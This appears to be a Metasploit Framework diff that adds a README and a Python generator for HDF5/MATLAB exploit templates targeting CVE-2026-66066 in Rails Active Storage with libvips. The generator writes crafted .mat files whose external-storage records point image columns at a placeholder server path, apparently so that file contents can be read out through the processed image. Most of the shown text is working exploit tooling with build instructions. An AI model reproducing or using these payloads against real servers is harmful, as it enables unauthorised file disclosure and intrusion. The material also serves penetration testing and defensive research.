Skip to content
Binary file added data/exploits/CVE-2026-66066/ascii_100.mat
Binary file not shown.
Binary file added data/exploits/CVE-2026-66066/ascii_16.mat
Binary file not shown.
Binary file added data/exploits/CVE-2026-66066/ascii_20.mat
Binary file not shown.
Binary file added data/exploits/CVE-2026-66066/ascii_256.mat
Binary file not shown.
Binary file added data/exploits/CVE-2026-66066/ascii_32.mat
Binary file not shown.
Binary file added data/exploits/CVE-2026-66066/ascii_64.mat
Binary file not shown.

Large diffs are not rendered by default.

54 changes: 54 additions & 0 deletions external/source/exploits/CVE-2026-66066/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
# CVE-2026-66066 Active Storage Vips templates

This directory contains the generator for the HDF5/MATLAB external-storage
templates used by `modules/exploits/multi/http/rails_activestorage_vips_rce.rb`.
The generated artifacts are committed under `data/exploits/CVE-2026-66066/`.

## Build

The generator requires Python 3, NumPy, and `h5py`. The committed artifacts
were generated with the following reference toolchain on x86-64 Linux:

- CPython 3.13.5
- pip 25.1.1
- NumPy 2.5.1
- h5py 3.16.0 (the manylinux wheel bundles HDF5 2.0.0)

Use the pinned versions when byte-for-byte reproducibility is required. HDF5
metadata serialization can differ between library releases even when the
resulting dataset is semantically equivalent.

```sh
python3.13 -m venv .venv
.venv/bin/python -m pip install 'pip==25.1.1'
.venv/bin/python -m pip install --only-binary=:all: 'numpy==2.5.1' 'h5py==3.16.0'
.venv/bin/python external/source/exploits/CVE-2026-66066/generate_msf_templates.py
```

Run the commands from the Metasploit Framework root. The script performs local
layout checks while generating each template and writes the resulting files to
`data/exploits/CVE-2026-66066/`.

The expected SHA-256 digests for the reference toolchain are:

```text
c24104e665036dfe84f5ad616368c4b2f5b0c8180ae0ac7aa5606cc0b0d36236 ascii_256.mat
24b14bd0015c5a1370a1395119f44cd9e2a48e99747a510fefda95be461dbf40 ascii_100.mat
f4512b49ee9d781857b60f49311c08cfd395794d01aa48f585c141afff3e2042 ascii_64.mat
0aad1429cb605e09fc640c0da51188213d0ec457783837ab3d86eb4de01ab047 ascii_32.mat
5dbf7909fbfa954fec333c8ad7bd63845a224d95d7a617339996f710c8da1068 ascii_20.mat
c953962ddd38cadbe167955010d4d228868d9f31a43f75c48250b37dd6c14fa8 ascii_16.mat
```

## MATLAB class attribute compatibility

The `MATLAB_class` attribute deliberately uses a fixed-width `S6` value
containing `uint8` followed by an explicit NUL byte. Do not shorten it to `S5`
or replace it with a variable-length string.

libmatio 1.5.24 and earlier read this attribute into a same-width,
NUL-terminated memory type. An `S5` value has no room for the terminator, so
those releases truncate `uint8` to `uint` and reject the dataset with
`unsupported class type 0`. Storing `uint8\0` as `S6` works with those older
libmatio releases as well as newer releases and keeps the templates usable on
common supported distributions.
116 changes: 116 additions & 0 deletions external/source/exploits/CVE-2026-66066/generate_msf_templates.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
#!/usr/bin/env python3
"""Generate the HDF5/MATLAB external-storage templates used by the module."""

# This source is distributed under the Metasploit Framework License.
# https://github.com/rapid7/metasploit-framework/blob/master/LICENSE

from __future__ import annotations

from pathlib import Path
import struct
import tempfile

import h5py


HDF5_USERBLOCK_SIZE = 512
HDF5_SIGNATURE = b"\x89HDF\r\n\x1a\n"
MATLAB_HEADER_TEXT = b"MATLAB 5.0 external-storage Active Storage MSF"
EXTERNAL_PATH_PLACEHOLDER = (
"/rails_vips_external_path_placeholder_012345678901234567890123456789"
)
EXTERNAL_OFFSET_MARKER = 0x4D53460000000000
TEMPLATE_DIMENSIONS = (256, 100, 64, 32, 20, 16)
FRAMEWORK_ROOT = Path(__file__).resolve().parents[4]
OUTPUT_DIR = FRAMEWORK_ROOT / "data" / "exploits" / "CVE-2026-66066"


def matlab_header() -> bytes:
"""Return the 128-byte MATLAB v7.3 user-block header."""
header = bytearray(b" " * 128)
header[: len(MATLAB_HEADER_TEXT)] = MATLAB_HEADER_TEXT
struct.pack_into("<H", header, 124, 0x0200)
header[126:128] = b"IM"
return bytes(header)


def target_columns(dimension: int) -> list[int]:
"""Return columns isolated by zero-valued neighbours in the Vips image."""
return list(range(1, dimension - 1, 2))


def external_segments(dimension: int) -> list[tuple[str, int, int]]:
"""Build one external-storage record for each Vips image column."""
columns = set(target_columns(dimension))
data_index = 0
segments = []

for column in range(dimension):
if column in columns:
segments.append(
(
EXTERNAL_PATH_PLACEHOLDER,
EXTERNAL_OFFSET_MARKER + data_index,
dimension,
)
)
data_index += 1
else:
segments.append(("/dev/zero", 0, dimension))

return segments


def build_template(output: Path, dimension: int) -> None:
"""Build and validate one square, sharpen-tolerant text-read template."""
with h5py.File(output, "w", userblock_size=HDF5_USERBLOCK_SIZE) as mat_file:
dataset = mat_file.create_dataset(
"pixels",
shape=(dimension, dimension),
dtype="<u1",
external=external_segments(dimension),
)
# libmatio <= 1.5.24 creates a same-width NUL-terminated memory type.
# The explicit terminator prevents it from truncating "uint8" to "uint".
dataset.attrs.create("MATLAB_class", b"uint8\0", dtype="S6")

with output.open("r+b") as artifact_file:
artifact_file.write(matlab_header())

artifact = output.read_bytes()
columns = target_columns(dimension)
if (
not artifact.startswith(b"MATLAB 5.0")
or artifact[124:128] != b"\x00\x02IM"
or artifact[HDF5_USERBLOCK_SIZE : HDF5_USERBLOCK_SIZE + 8]
!= HDF5_SIGNATURE
or artifact.count(EXTERNAL_PATH_PLACEHOLDER.encode()) != len(columns)
or artifact.count(b"/dev/zero") != dimension - len(columns)
or b"MATLAB_class" not in artifact
or b"uint8\0" not in artifact
):
raise RuntimeError(f"{output.name} failed local layout checks")

for marker_index in range(len(columns)):
marker = struct.pack("<Q", EXTERNAL_OFFSET_MARKER + marker_index)
record = marker + struct.pack("<Q", dimension)
if artifact.count(record) != 1:
raise RuntimeError(
f"{output.name} did not contain external marker {marker_index} exactly once"
)


def main() -> None:
OUTPUT_DIR.mkdir(parents=True, exist_ok=True)
with tempfile.TemporaryDirectory() as temp_dir:
for dimension in TEMPLATE_DIMENSIONS:
filename = f"ascii_{dimension}.mat"
temp_path = Path(temp_dir) / filename
build_template(temp_path, dimension)
(OUTPUT_DIR / filename).write_bytes(temp_path.read_bytes())
capacity = len(target_columns(dimension)) * dimension
print(f"{filename}: {dimension}x{dimension}, {capacity} source bytes")


if __name__ == "__main__":
main()
Loading
Loading